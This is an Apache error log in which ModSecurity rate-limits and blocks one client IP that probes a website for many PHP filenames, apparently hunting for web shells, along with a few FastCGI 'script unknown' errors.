[Sun Mar 01 13:28:15.804321 2026] [:error] [pid 42619:tid 42645] [client 158.158.52.178:30059] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaPObx_zUXcYaZE4AOdbIwAAAVg"]
[Sun Mar 01 13:28:16.280598 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:43398] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaPOcPKRPk6YnJBxw_zuYQAAAME"]
[Sun Mar 01 13:28:16.798511 2026] [:error] [pid 41342:tid 41350] [client 158.158.52.178:4387] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaPOcI4iJ6RAS5CatDk56QAAAgU"]
[Sun Mar 01 13:28:17.284282 2026] [:error] [pid 40750:tid 40774] [client 158.158.52.178:35473] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaPOcQfBuk03yQKDyqvAAQAAAdU"]
[Sun Mar 01 13:28:17.775101 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:36059] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws79.php"] [unique_id "aaPOcfKRPk6YnJBxw_zuZgAAAME"]
[Sun Mar 01 13:28:18.266434 2026] [:error] [pid 40750:tid 40773] [client 158.158.52.178:27115] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws79.php"] [unique_id "aaPOcgfBuk03yQKDyqvAAgAAAdQ"]
[Sun Mar 01 13:28:18.759937 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:34334] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws79.php"] [unique_id "aaPOcvKRPk6YnJBxw_zubAAAAME"]
[Sun Mar 01 13:28:19.242547 2026] [:error] [pid 42619:tid 42630] [client 158.158.52.178:36064] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws79.php"] [unique_id "aaPOcx_zUXcYaZE4AOdbKgAAAUk"]
[Sun Mar 01 13:28:19.741721 2026] [:error] [pid 42619:tid 42640] [client 158.158.52.178:25646] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1061.php"] [unique_id "aaPOcx_zUXcYaZE4AOdbLwAAAVM"]
[Sun Mar 01 13:28:20.223157 2026] [:error] [pid 42619:tid 42636] [client 158.158.52.178:37389] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1061.php"] [unique_id "aaPOdB_zUXcYaZE4AOdbMQAAAU8"]
[Sun Mar 01 13:28:20.707207 2026] [:error] [pid 42619:tid 42644] [client 158.158.52.178:37386] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1061.php"] [unique_id "aaPOdB_zUXcYaZE4AOdbNAAAAVc"]
[Sun Mar 01 13:28:21.206040 2026] [:error] [pid 41967:tid 41978] [client 158.158.52.178:32930] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1061.php"] [unique_id "aaPOdYO1bqY181I02eFrewAAAIk"]
[Sun Mar 01 13:28:21.731907 2026] [:error] [pid 42619:tid 42630] [client 158.158.52.178:25064] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zwq13.php"] [unique_id "aaPOdR_zUXcYaZE4AOdbOwAAAUk"]
[Sun Mar 01 13:28:22.216236 2026] [:error] [pid 42619:tid 42633] [client 158.158.52.178:34304] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zwq13.php"] [unique_id "aaPOdh_zUXcYaZE4AOdbPgAAAUw"]
[Sun Mar 01 13:28:22.727730 2026] [:error] [pid 41967:tid 41992] [client 158.158.52.178:16165] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zwq13.php"] [unique_id "aaPOdoO1bqY181I02eFrgQAAAJc"]
[Sun Mar 01 13:28:23.212365 2026] [:error] [pid 40750:tid 40767] [client 158.158.52.178:4595] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zwq13.php"] [unique_id "aaPOdwfBuk03yQKDyqvAEQAAAc4"]
[Sun Mar 01 13:28:23.724745 2026] [:error] [pid 42619:tid 42632] [client 158.158.52.178:35557] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hello.php"] [unique_id "aaPOdx_zUXcYaZE4AOdbQwAAAUs"]
[Sun Mar 01 13:28:24.208889 2026] [:error] [pid 40750:tid 40766] [client 158.158.52.178:19887] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hello.php"] [unique_id "aaPOeAfBuk03yQKDyqvAFAAAAc0"]
[Sun Mar 01 13:28:24.692857 2026] [:error] [pid 42619:tid 42633] [client 158.158.52.178:16190] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hello.php"] [unique_id "aaPOeB_zUXcYaZE4AOdbTQAAAUw"]
[Sun Mar 01 13:28:25.170034 2026] [:error] [pid 41967:tid 41985] [client 158.158.52.178:22709] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hello.php"] [unique_id "aaPOeYO1bqY181I02eFrhgAAAJA"]
[Sun Mar 01 13:28:25.676571 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:4605] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/05.php"] [unique_id "aaPOefKRPk6YnJBxw_zukAAAANI"]
[Sun Mar 01 13:28:26.162168 2026] [:error] [pid 42619:tid 42632] [client 158.158.52.178:37385] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/05.php"] [unique_id "aaPOeh_zUXcYaZE4AOdbVgAAAUs"]
[Sun Mar 01 13:28:26.648050 2026] [:error] [pid 41967:tid 41975] [client 158.158.52.178:16155] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/05.php"] [unique_id "aaPOeoO1bqY181I02eFrjAAAAIY"]
[Sun Mar 01 13:28:27.132912 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:16151] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/05.php"] [unique_id "aaPOe_KRPk6YnJBxw_zulQAAAM4"]
[Sun Mar 01 13:28:27.648852 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:32897] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zxin.php"] [unique_id "aaPOe_KRPk6YnJBxw_zumwAAAME"]
[Sun Mar 01 13:28:28.128761 2026] [:error] [pid 42619:tid 42632] [client 158.158.52.178:36084] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zxin.php"] [unique_id "aaPOfB_zUXcYaZE4AOdbZQAAAUs"]
[Sun Mar 01 13:28:28.611841 2026] [:error] [pid 41967:tid 41972] [client 158.158.52.178:36090] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zxin.php"] [unique_id "aaPOfIO1bqY181I02eFrkwAAAIM"]
[Sun Mar 01 13:28:29.095780 2026] [:error] [pid 41342:tid 41358] [client 158.158.52.178:43446] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zxin.php"] [unique_id "aaPOfY4iJ6RAS5CatDk57wAAAg0"]
[Sun Mar 01 13:28:29.572639 2026] [:error] [pid 41967:tid 41983] [client 158.158.52.178:34827] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aaPOfYO1bqY181I02eFrmQAAAI4"]
[Sun Mar 01 13:28:30.055492 2026] [:error] [pid 41780:tid 41784] [client 158.158.52.178:29215] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aaPOfsONkVoocLIqzy39fAAAA8E"]
[Sun Mar 01 13:28:30.549757 2026] [:error] [pid 41342:tid 41359] [client 158.158.52.178:32517] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aaPOfo4iJ6RAS5CatDk58AAAAg4"]
[Sun Mar 01 13:28:31.039284 2026] [:error] [pid 41967:tid 41988] [client 158.158.52.178:16158] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aaPOf4O1bqY181I02eFrowAAAJM"]
[Sun Mar 01 13:28:31.521830 2026] [:error] [pid 40750:tid 40757] [client 158.158.52.178:29386] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaPOfwfBuk03yQKDyqvAGAAAAcQ"]
[Sun Mar 01 13:28:32.037302 2026] [:error] [pid 41967:tid 41970] [client 158.158.52.178:38099] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaPOgIO1bqY181I02eFrqAAAAIE"]
[Sun Mar 01 13:28:32.517304 2026] [:error] [pid 41342:tid 41366] [client 158.158.52.178:32561] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaPOgI4iJ6RAS5CatDk59QAAAhU"]
[Sun Mar 01 13:28:33.000860 2026] [:error] [pid 41780:tid 41794] [client 158.158.52.178:34840] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaPOgcONkVoocLIqzy39gwAAA8s"]
[Sun Mar 01 13:28:33.495629 2026] [:error] [pid 41967:tid 41993] [client 158.158.52.178:34841] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aaPOgYO1bqY181I02eFrrgAAAJg"]
[Sun Mar 01 13:28:33.981729 2026] [:error] [pid 41967:tid 41990] [client 158.158.52.178:29172] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aaPOgYO1bqY181I02eFrsgAAAJU"]
[Sun Mar 01 13:28:34.460436 2026] [:error] [pid 40750:tid 40763] [client 158.158.52.178:15470] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aaPOggfBuk03yQKDyqvAGwAAAco"]
[Sun Mar 01 13:28:34.949929 2026] [:error] [pid 42619:tid 42642] [client 158.158.52.178:32194] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aaPOgh_zUXcYaZE4AOdbfAAAAVU"]
[Sun Mar 01 13:28:35.467548 2026] [:error] [pid 41342:tid 41360] [client 158.158.52.178:29241] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iko.php"] [unique_id "aaPOg44iJ6RAS5CatDk5-AAAAg8"]
[Sun Mar 01 13:28:35.944628 2026] [:error] [pid 42619:tid 42637] [client 158.158.52.178:15476] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iko.php"] [unique_id "aaPOgx_zUXcYaZE4AOdbfwAAAVA"]
[Sun Mar 01 13:28:36.424246 2026] [:error] [pid 42619:tid 42643] [client 158.158.52.178:32203] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iko.php"] [unique_id "aaPOhB_zUXcYaZE4AOdbhQAAAVY"]
[Sun Mar 01 13:28:36.911456 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:29383] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iko.php"] [unique_id "aaPOhPKRPk6YnJBxw_zuuwAAAMk"]
[Sun Mar 01 13:28:37.399732 2026] [:error] [pid 42619:tid 42644] [client 158.158.52.178:36312] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmy.php"] [unique_id "aaPOhR_zUXcYaZE4AOdbigAAAVc"]
[Sun Mar 01 13:28:37.879061 2026] [:error] [pid 42619:tid 42622] [client 158.158.52.178:32224] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmy.php"] [unique_id "aaPOhR_zUXcYaZE4AOdbjgAAAUE"]
[Sun Mar 01 13:28:38.357689 2026] [:error] [pid 41780:tid 41788] [client 158.158.52.178:29232] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmy.php"] [unique_id "aaPOhsONkVoocLIqzy39mAAAA8U"]
[Sun Mar 01 13:28:38.837677 2026] [:error] [pid 41780:tid 41801] [client 158.158.52.178:32897] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmy.php"] [unique_id "aaPOhsONkVoocLIqzy39ngAAA9I"]
[Sun Mar 01 13:28:39.326150 2026] [proxy_fcgi:error] [pid 40750:tid 40773] [client 158.158.52.178:36340] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:28:39.568021 2026] [proxy_fcgi:error] [pid 40750:tid 40759] [client 158.158.52.178:36340] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:28:39.811720 2026] [proxy_fcgi:error] [pid 40750:tid 40769] [client 158.158.52.178:36340] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:28:40.296722 2026] [proxy_fcgi:error] [pid 40750:tid 40775] [client 158.158.52.178:36340] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:28:40.538797 2026] [proxy_fcgi:error] [pid 40750:tid 40753] [client 158.158.52.178:36340] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:28:40.780550 2026] [proxy_fcgi:error] [pid 40750:tid 40755] [client 158.158.52.178:36340] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:28:41.265191 2026] [proxy_fcgi:error] [pid 40750:tid 40757] [client 158.158.52.178:36340] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:28:41.505759 2026] [proxy_fcgi:error] [pid 40750:tid 40774] [client 158.158.52.178:36340] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:28:41.748020 2026] [proxy_fcgi:error] [pid 40750:tid 40766] [client 158.158.52.178:36340] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:28:41.986835 2026] [:error] [pid 40750:tid 40756] [client 158.158.52.178:36340] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaPOiQfBuk03yQKDyqvAJwAAAcM"]
[Sun Mar 01 13:28:42.475505 2026] [:error] [pid 41967:tid 41974] [client 158.158.52.178:36344] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaPOioO1bqY181I02eFr1wAAAIU"]
[Sun Mar 01 13:28:42.959013 2026] [:error] [pid 41342:tid 41346] [client 158.158.52.178:29403] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaPOio4iJ6RAS5CatDk6DAAAAgE"]
[Sun Mar 01 13:28:43.439928 2026] [:error] [pid 41342:tid 41368] [client 158.158.52.178:36297] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaPOi44iJ6RAS5CatDk6DQAAAhc"]
[Sun Mar 01 13:28:43.923453 2026] [:error] [pid 41780:tid 41790] [client 158.158.52.178:15424] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/155.php"] [unique_id "aaPOi8ONkVoocLIqzy39swAAA8c"]
